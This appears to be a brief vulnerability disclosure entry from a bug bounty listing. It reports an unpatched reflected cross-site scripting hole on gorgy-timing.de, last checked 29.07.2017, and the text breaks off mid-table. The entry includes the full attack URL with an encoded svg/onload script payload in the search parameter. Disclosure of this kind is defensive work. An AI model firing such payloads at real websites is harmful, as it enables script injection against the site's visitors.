gorgy-timing.de XSS vulnerability

Vulnerable URL: http://www.gorgy-timing.de/139-suchergebnisse.htm?searchString=%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E=OK=139 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017...